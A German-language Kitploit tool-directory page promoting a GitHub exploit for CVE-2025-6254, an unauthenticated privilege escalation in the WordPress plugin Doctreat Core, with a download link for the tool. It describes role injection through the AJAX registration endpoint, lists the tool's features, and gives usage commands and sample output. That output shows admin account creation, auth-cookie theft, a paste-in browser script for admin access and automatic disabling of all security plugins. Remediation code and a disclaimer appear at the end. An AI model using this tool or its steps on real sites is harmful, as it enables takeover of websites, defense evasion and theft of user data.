Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-6254 — CVE-2025-6254 — Doctreat Core <= 1.6.8 — Nicht authentifizierte Privilegienausweitung | Kitploit
Tools/GitHubGitHub/yucaerin/cve-2025-6254
Privilege EscalationPayload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationPost-ExploitationWebsicherheitCTFPenetrationstestsLernen & BildungRed Teaming
2vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
GitHub
yucaerin/cve-2025-6254

CVE-2025-6254

CVE-2025-6254 — Doctreat Core <= 1.6.8 — Nicht authentifizierte Privilegienausweitung

Repository anzeigen

CVE-2025-6254 — Doctreat Core <= 1.6.8 — Nicht authentifizierte Privilegieneskalation durch Rolleninjektion

🔥 Zusammenfassung der Schwachstelle

Das WordPress-Plugin Doctreat Core in den Versionen <= 1.6.8 ist anfällig für eine nicht authentifizierte Privilegieneskalation. Dieser kritische Fehler erlaubt nicht authentifizierten Angreifern, direkt über den AJAX-Registrierungsendpunkt des Plugins ein neues Administrator-Konto zu erstellen.

Die Schwachstelle beruht auf der Funktion doctreat_process_registration() in hooks/hooks.php, die den Parameter user_type direkt aus den vom Benutzer gesendeten POST-Daten übernimmt und ihn als Parameter role an wp_update_user() übergibt, ohne ordnungsgemäße Autorisierung oder Whitelist-Prüfung. Das Plugin wendet nur esc_sql() an (was keine Rollen validiert) — es prüft nie, ob die Rolle für die öffentliche Registrierung sicher ist.

Durchbruch-Entdeckung: Das von Doctreat verwendete Nonce (scripts_vars.ajax_nonce) wird auf jeder öffentlichen Seite des aktiven Doctreat-Themas offengelegt. Der Parameter user_type, der normalerweise steuert, ob ein Benutzer als "doctors", "hospitals" oder "regular_users" registriert wird, kann per POST auf user_type=administrator überschrieben werden — und dieser Wert wird direkt als WordPress role-Parameter übergeben.

🔍 Betroffenes Plugin

  • Plugin-Name: Doctreat Core
  • Betroffene Version: <= 1.6.8
  • Schwachstellentyp: Nicht authentifizierte Privilegieneskalation durch Rolleninjektion
  • CVE-ID: CVE-2025-6254
  • CVSS-Score: 9.8 (Kritisch)
  • CWE: CWE-269 — Unzureichendes Berechtigungsmanagement
  • Auswirkung: Komplette Übernahme der Website — Erstellung eines Admin-Kontos

🧨 Was Angreifer tun können

🧪 Exploit-Funktionen

  • 🔓 Keine Authentifizierung erforderlich
  • 📝 Funktioniert über den AJAX-Registrierungsendpunkt
  • 🎯 Zielt auf den AJAX-Endpunkt /wp-admin/admin-ajax.php?action=doctreat_process_registration
  • 🧠 Rolleninjektion — sendet user_type=administrator zusammen mit normalen Registrierungsfeldern
  • 🌐 Automatische Nonce-Extraktion — extrahiert ajax_nonce aus öffentlichen Seiten des Doctreat-Themas
  • 🔐 Umgeht Nonce-Überprüfung — verwendet legitimes Nonce, das von Theme-Skripten offengelegt wird
  • 🔗 Erkennt http/https automatisch — kein Protokoll angeben nötig
  • 🔒 Unsichere SSL-Unterstützung — funktioniert mit selbstsignierten/ungültigen Zertifikaten
  • 🎛️ Alle Plugins automatisch deaktivieren — 3 Methoden: Bulk-Aktion in plugins.php, REST-API, admin-ajax.php
  • 🍪 Cookie-Extraktion — gibt WordPress-Authentifizierungs-Cookies für Browser/curl aus
  • 🧠 JavaScript-Konsolen-Skript — in Browser-DevTools einfügen für sofortigen Admin-Zugriff

🧠 Angreifbarer Code

root@kitploit:~
// doctreat_core/hooks/hooks.php ~ line 296
wp_update_user( array(
    'ID' => esc_sql( $user_identity ),
    'role' => esc_sql( $user_type ),  // ← user_type from $_POST via extract($_POST)
    'user_status' => 0
) );
root@kitploit:~
// ~ line 311 — Sets _is_verified after registration
update_user_meta( $user_identity, '_is_verified', 'no' );

Hinweis: Bei Zielen mit standardmäßigen Verifizierungseinstellungen ($verify_user leer oder 'remove') wird der Benutzer automatisch verifiziert und erhält sofortigen Admin-Zugriff. Bei Zielen mit E-Mail-Verifizierung oder Admin-Freigabe sind zusätzliche Verifizierungsschritte erforderlich.

🚀 Verwendung

root@kitploit:~
python3 CVE-2025-6254_exploit.py target.com
python3 CVE-2025-6254_exploit.py https://target.com
python3 CVE-2025-6254_exploit.py http://target.com:8080

Anmeldung mit vorhandenen Anmeldeinformationen (Cookies abrufen)

root@kitploit:~
python3 CVE-2025-6254_exploit.py target.com username password

Vollständiges Ausgabebeispiel

root@kitploit:~
============================================================
CVE-2025-6254 PoC - Doctreat Core Privilege Escalation
============================================================
[*] Target: https://target.com
[+] Found nonce from https://target.com/: abc123xyz
[*] Sending registration request...
[*] Username: hackeradmin1234
[*] Role: administrator

[+] EXPLOIT SUCCESSFUL!
[+] Username: hackeradmin1234
[+] Password: Password@1234!
[+] Email: [email protected]
[+] Role: ADMINISTRATOR

[*] Attempting to login and extract cookies...
[*] Trying Doctreat admin-ajax.php login...
[*] AJAX login status: 200
[*] AJAX login response: {"type":"success","loggedin":true,...}

[+] LOGIN SUCCESSFUL! AUTH COOKIES EXTRACTED!
[+] JAVASCRIPT CONSOLE SCRIPT (COPY & PASTE):
// Paste this in browser DevTools console for instant admin access

[*] PHASE 2: AUTO-DISABLE ALL PLUGINS (PYTHON)
[*] Fetching plugin list from: https://target.com/wp-admin/plugins.php
[+] Found nonce: def456uvw
[+] Found 15 active plugins
[*] Disabling all plugins via bulk action...
[+] ALL PLUGINS DISABLED SUCCESSFULLY!

JavaScript-Konsolen-Skript

Nach der Ausführung des Exploits kopieren Sie das generierte JavaScript und fügen Sie es in die DevTools-Konsole Ihres Browsers ein (F12):

root@kitploit:~
(function() {
    'use strict';
    console.log('[*] Starting WordPress admin access...');
    // ... cookies set automatically ...
    window.location.href = 'https://target.com/wp-admin/';
})();

Anforderungen

  • Python 3.6+
  • requests library (pip install requests)
  • Das Ziel muss haben:
    • Doctreat-Theme aktiv (für Nonce-Extraktion)
    • Doctreat Core Plugin <= 1.6.8 aktiviert
    • Benutzerregistrierung aktiviert

🛠 Empfehlungen zur Behebung

root@kitploit:~
// SECURE: Allowlist only safe roles for public registration
$allowed_roles = array('doctors', 'hospitals', 'regular_users', 'seller');
if (!in_array($user_type, $allowed_roles, true)) {
    $user_type = 'regular_users';  // ← Reject ALL dangerous roles
}
  • Implementieren Sie eine strenge Rollen-Whitelist für die Registrierung
  • Fügen Sie current_user_can('create_users')-Berechtigungsprüfungen für privilegierte Rollen hinzu
  • Validieren Sie user_type, bevor Sie es an wp_update_user() übergeben
  • Erwägen Sie, die Rollenzuweisung vollständig aus der öffentlichen Registrierung zu entfernen

🧠 Forscher

  • Danksagung: Friderika Baranyai (Foxyyy)

📚 Referenzen

  • Wordfence Advisory

🔒 Haftungsausschluss

Diese Informationen werden nur für Bildungszwecke und autorisierte Penetrationstests bereitgestellt. Die unbefugte Ausnutzung von Computersystemen ist illegal und unethisch. Holen Sie immer eine ausdrückliche schriftliche Genehmigung ein, bevor Sie ein Ziel testen, das Ihnen nicht gehört.

Tool herunterladen
FähigkeitAuswirkung
🔑 Admin-Konto ohne Anmeldung erstellenKomplette Website-Übernahme
🎛️ Alle Sicherheits-Plugins automatisch deaktivierenUmgehung der Verteidigung
💉 Plugin-/Theme-PHP-Dateien bearbeitenRemote-Code-Ausführung
🕳️ Versteckte Hintertüren installierenDauerhafter Zugriff
👥 Alle Benutzerdaten anzeigenDatenschutzverletzung